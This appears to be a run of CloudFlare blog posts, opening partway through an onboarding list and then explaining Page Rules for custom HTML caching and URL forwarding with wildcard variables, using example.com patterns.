4. Familiarize yourself with the CloudFlare settings

CloudFlare offers a number of optional security and performance options that can be turned on or off on your "Settings" page:

My Websites → Settings → CloudFlare settings

Some of the key features that we'd like to highlight:

Make your website IPv6 compatible without having to purchase expensive hardware. CloudFlare's IPv6 Gateway is available to all customers free of charge.

Rocket Loader and Auto Minify are free beta features that will help speed up your website. What they do:

**Rocket Loader:**If you have ads, widgets or plugins on your website, Rocket Loader will speed up the delivery of your pages by automatically asynchronously loading your JavaScript resources.

Auto Minify: Removes unnecessary characters from HTML, CSS, and JavaScript to save on file size.

Note: These features are still in beta. We encourage you to try them but if you see an issue, then just turn them off. Please report the bugs to CloudFlare so our magical engineers can work on fixes.

SSL support can be added to any website on CloudFlare on a paid account.

Paid plans offer additional security and performance features than free accounts. You can see the differences in our comparison chart.

5. Check out the CloudFlare App Store

CloudFlare has partnered with a number of popular web applications to make adding these apps easy. You can get access to any of these services without touching your code or worrying about if they will interfere with another service on your site. The most popular services include:

• Google Analytics : Install Google Analytics on all of your pages

• VigLink: Make money from the content on your website or blog

• CodeGuard: Back up your website content

• Highlight: Add contextual search with one click to your site (developed by CloudFlare)

6. Search our Knowledge Base for FAQs

While we love answering questions from our customers as quickly as possible, many questions can be answered by doing a quick search through CloudFlare's help content.

7. Follow us on Facebook and Twitter

We use Facebook and Twitter as our primary communication channels for announcing new product releases, known system issues and to give users early access to beta features. If you want to know as much as you can about CloudFlare, or if you only have a really quick question to ask, Facebook and Twitter are the best places to go. We also recently launched a Google+ page.

If you ever have a question, please contact us. We read every email that we get and love to hear from our users.

On Monday, CloudFlare officially announced Page Rules. The new feature allows you to customize behavior on a page-by-page basis. The previous two blog posts have outlined how you can turn off CloudFlare's features based on URL patterns, or accomplish advanced URL forwarding.

In addition to the ability to these abilities, Page Rules also enables a powerful new way that you can enhance CloudFlare's caching. This post is dedicated to that.

CloudFlare operates 14 data centers around the world. When a visitor comes to a CloudFlare-powered website, they are directed to the data center closest to them. CloudFlare analyzes the traffic that passes back through each data center to find the parts of a website that are static. We then cache these objects at the edge for a short period of time.

There are two primary benefits of caching. The first is that it moves static objects closer to the visitor requesting them, which makes their delivery faster. The second is that it decreases the load on the origin web server. Caching plays a big part in how we are able to, on average, reduce server loads, bandwidth costs, and page load times by more than half.

The challenge of caching is making sure you don't cache dynamic content. We are, by default, conservative with what we cache. We refresh the cache, by default, at least every 2 hours and we don't display cached HTML to normal visitors unless the origin server is unreachable.

While this is a safe general rule, one of the most requested features has been the ability for us to cache HTML. A lot of sites are largely static, and the owners of those sites would prefer we serve the contents unless it is marked as dynamic. While we have advanced support for cache headers, we've found that they are often misconfigured or difficult for many site owners on hosted platforms to change. With Page Rules, we realized we were able to provide much more advanced caching for those users who wanted it.

From the Page Rules interface, which you access from the Settings menu next to each domain on your My Websites dashboard, you can setup custom caching. There are lots of different configurations but, since it is one of the most requested options, for this first example, I'll walk through how to specify certain pages as static so their HTML will be cached by CloudFlare.

Like all Page Rules, the first step is creating a pattern and then applying a rule to that pattern. You'll need to find or create a way to differentiate static versus dynamic content by the URL. Some possibilities could be creating a directory for static content, appending a unique file extension to static pages, or adding a query parameter to mark content as static. Here are three examples of patterns you could create for each of those options:

• *example.com/static/* [/static/ subdirectory for static HTML pages]

• *example.com/*.shtml [.shtml file extension to signify HTML that is static]

• *example.com/*?*static=true* [adding static=true query parameter]

These are just three possible examples. There are virtually infinite ways to create a pattern and the best way to do this will depend on your particular website's setup. You'll want to design the pattern to only describe pages you know are static. For example, you'll want to make sure you exclude pages like the administrative page. If necessary, you can create multiple rules to get the exact caching setup you want.

Once you have created a pattern, you can select the Cache Everything option from the Custom Cache menu. Click the Add Rule button and, going forward, anything that matches the rule will get cached by CloudFlare.

We will attempt to cache objects that match the rule, but the caching is limited by the resources available and the number of objects in the cache. Even with the Cache Everything option set, CloudFlare will still periodically check back to refresh the cache. If, at any time, you want to clear the cache then you can do so from the CloudFlare Settings page by selecting the Purge Cache button. Just like with the traditional caching, this will purge Page Rules-based caching immediately and fetch a new copy of content from your server.

In addition to the Cache Everything setting, Page Rules can also be used to override the default cache setting used throughout the rest of your site. For example, you can specify that certain URLs either ignore or respect the query parameters. Respecting the query parameter can be handy if you'd like to be able to invalidate the traditional cache on an object-by-object basis by updating the query string. Alternatively, ignoring the query string can be useful for Javascript but where you want to pass in variables into the script via GET parameters.

Overall, Page Rules makes CloudFlare's caching much more adaptable to accommodate multiple caching strategies under the same domain. We'll continue to add more flexibility to the powerful framework created by Page Rules. If there are particular options you'd like us to support, please don't hesitate to let us know.

In the last blog post, I introduced Page Rules and showed how you could use it to control CloudFlare's features like Apps, Performance, and Security settings on a page-by-page basis. Here I'm going to explain how you can use the same Page Rules interface to enable URL forwarding.

URL forwarding was a surprise request from a number of early CloudFlare users. Some hosting providers and registrars charge just for this feature, which seemed silly. We'd generally supplied people looking to do URL forwarding with instructions on how to do it via HTACCESS. When we created the infrastructure to support Page Rules, we realized we could now support URL forwarding in an easy but powerful way.

Imagine you have a Google+ profile and you want to make it easy for anyone coming to get to simply by going to a URL like:

• www.example.com/+

To setup forwarding, go to the Page Rules administration page which can be found under the Settings menu next to each domain on your CloudFlare My Websites page. There create a pattern to match the URL you want to forward:

• *example.com/+

This pattern will match:

• http://example.com/+

• http://www.example.com/+

• https://www.example.com/+

• https://blog.example.com/+

• https://www.blog.example.com/+

• Etc...

It will not match:

• http://www.example.com/blog/+ [extra directory before the +]

• http://www.example.com+ [no trailing slash]

Once I've created the pattern that matches what I want, click the Forwarding toggle. That exposes a field where I can enter the address I want requests forwarded to. My Google+ profile is at the following URL:

• https://plus.google.com/117631136894743822101

If I enter that in the forwarding box and click the Add Rule button within a few seconds any requests that match the pattern I entered will automatically be forwarded with a 302 redirect to the new URL. It's slick.

Basic forwarding is good for something like redirecting traffic to Google+, but what if you want to do something like force all traffic to your root domain to use the www subdomain. If you use a basic redirect, then you lose anything else in the URL.

For example, you could setup the pattern:

• example.com*

And have it forward to:

• www.example.com

But then if someone entered:

• example.com/some-particular-page.html

Then they'd be redirected to:

• www.example.com

Not where you'd want them to go:

• www.example.com/some-particular-page.html

The solution is to use variables. Each wildcard corresponds to a variable when can be referenced in the forwarding address. The variables are represented by a $ followed by a number. To refer to the first wildcard you'd use $1, to refer to the second wildcard you'd use $2, and so on. To fix the forwarding from the root to www in the above example, you could use the same pattern:

• example.com*

You'd then setup the following URL for traffic to forward to:

• www.example.com$1

In this case, if someone went to:

• example.com/some-particular-page.html

They'd be redirected to:

• www.example.com/some-particular-page.html

Or, if you wanted a more powerful Google+ forwarder than described in the basic example above, you could setup the following pattern:

• *example.com/+*

And have it forward to your profile like:

• https://plus.google.com/117631136894743822101$2

Note the $2 at the end of the URL, which represents the second wildcard (*) in the pattern above. Then all of the following links would work properly:

• http://example.com/+

• http://example.com/+/posts

• http://example.com/+/about

• http://example.com/+/photos

• http://example.com/+/videos

If you can't get forwarding to work properly, make sure the subdomain you're forwarding from is enabled (orange cloud) from the CloudFlare DNS manager. Also check that multiple rules don't interact with one another in an unexpected way. The rules will take precedence based on when they were created, so if they are not behaving in the way you expect you may need to delete the rules and recreate them in a different order.

Forwarding using Page Rules enables a number of possibilities that used to require you creating complicated redirect rules in HTACCESS. Give it a shot and let us know if you find powerful new uses in the comments below.